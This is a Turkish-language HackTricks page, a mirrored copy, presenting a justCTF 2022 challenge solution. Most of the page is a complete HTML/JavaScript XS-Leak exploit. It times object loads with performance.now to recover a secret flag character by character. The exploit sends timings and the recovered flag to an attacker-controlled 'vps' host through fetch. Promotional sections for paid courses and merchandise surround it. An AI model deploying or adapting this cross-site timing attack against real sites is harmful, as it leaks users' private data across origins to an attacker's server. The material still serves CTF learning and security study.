mirror of
https://github.com/carlospolop/hacktricks
synced 2025-02-17 06:28:27 +00:00
127 lines
4.9 KiB
Markdown
127 lines
4.9 KiB
Markdown
# performance.now + Zorlu Görevi Zorla
|
||
|
||
<details>
|
||
|
||
<summary><strong>AWS hackleme konusunda sıfırdan kahramana dönüşmek için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>'ı öğrenin!</strong></summary>
|
||
|
||
* Bir **cybersecurity şirketinde mi çalışıyorsunuz**? **Şirketinizi HackTricks'te reklamını görmek** ister misiniz? veya **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin.
|
||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin.
|
||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter**'da beni takip edin 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||
* **Hacking hilelerinizi** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **ile göndererek paylaşın.**
|
||
|
||
</details>
|
||
|
||
**Exploit, [https://blog.huli.tw/2022/06/14/en/justctf-2022-xsleak-writeup/](https://blog.huli.tw/2022/06/14/en/justctf-2022-xsleak-writeup/) adresinden alınmıştır.**
|
||
|
||
Bu zorlukta kullanıcı binlerce karakter gönderebilir ve bayrağın içerip içermediğini kontrol etmek için karakterler bot'a geri gönderilir. Bu nedenle saldırgan, bayrağın gönderilen dize içinde olup olmadığını ölçmek için büyük miktarda karakter gönderebilir.
|
||
|
||
{% hint style="warning" %}
|
||
Başlangıçta nesne genişliği ve yüksekliğini ayarlamadım, ancak daha sonra önemli olduğunu fark ettim çünkü varsayılan boyut, yükleme süresinde fark yaratmak için çok küçüktü.
|
||
{% endhint %}
|
||
```html
|
||
<!DOCTYPE html>
|
||
<html>
|
||
<head>
|
||
|
||
</head>
|
||
<body>
|
||
<img src="https://deelay.me/30000/https://example.com">
|
||
<script>
|
||
fetch('https://deelay.me/30000/https://example.com')
|
||
|
||
function send(data) {
|
||
fetch('http://vps?data='+encodeURIComponent(data)).catch(err => 1)
|
||
}
|
||
|
||
function leak(char, callback) {
|
||
return new Promise(resolve => {
|
||
let ss = 'just_random_string'
|
||
let url = `http://baby-xsleak-ams3.web.jctf.pro/search/?search=${char}&msg=`+ss[Math.floor(Math.random()*ss.length)].repeat(1000000)
|
||
let start = performance.now()
|
||
let object = document.createElement('object');
|
||
object.width = '2000px'
|
||
object.height = '2000px'
|
||
object.data = url;
|
||
object.onload = () => {
|
||
object.remove()
|
||
let end = performance.now()
|
||
resolve(end - start)
|
||
}
|
||
object.onerror = () => console.log('Error event triggered');
|
||
document.body.appendChild(object);
|
||
})
|
||
|
||
}
|
||
|
||
send('start')
|
||
|
||
let charset = 'abcdefghijklmnopqrstuvwxyz_}'.split('')
|
||
let flag = 'justCTF{'
|
||
|
||
async function main() {
|
||
let found = 0
|
||
let notFound = 0
|
||
for(let i=0;i<3;i++) {
|
||
await leak('..')
|
||
}
|
||
for(let i=0; i<3; i++) {
|
||
found += await leak('justCTF')
|
||
}
|
||
for(let i=0; i<3; i++) {
|
||
notFound += await leak('NOT_FOUND123')
|
||
}
|
||
|
||
found /= 3
|
||
notFound /= 3
|
||
|
||
send('found flag:'+found)
|
||
send('not found flag:'+notFound)
|
||
|
||
let threshold = found - ((found - notFound)/2)
|
||
send('threshold:'+threshold)
|
||
|
||
if (notFound > found) {
|
||
return
|
||
}
|
||
|
||
// exploit
|
||
while(true) {
|
||
if (flag[flag.length - 1] === '}') {
|
||
break
|
||
}
|
||
for(let char of charset) {
|
||
let trying = flag + char
|
||
let time = 0
|
||
for(let i=0; i<3; i++) {
|
||
time += await leak(trying)
|
||
}
|
||
time/=3
|
||
send('char:'+trying+',time:'+time)
|
||
if (time >= threshold) {
|
||
flag += char
|
||
send(flag)
|
||
break
|
||
}
|
||
}
|
||
}
|
||
}
|
||
|
||
main()
|
||
|
||
</script>
|
||
</body>
|
||
|
||
</html>
|
||
```
|
||
<details>
|
||
|
||
<summary><strong>AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
|
||
|
||
* Bir **cybersecurity şirketinde mi çalışıyorsunuz**? **Şirketinizi HackTricks'te reklamını görmek** ister misiniz? veya **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonunu keşfedin.
|
||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin.
|
||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter'da** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin**.
|
||
* **Hacking hilelerinizi** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **ile göndererek paylaşın**.
|
||
|
||
</details>
|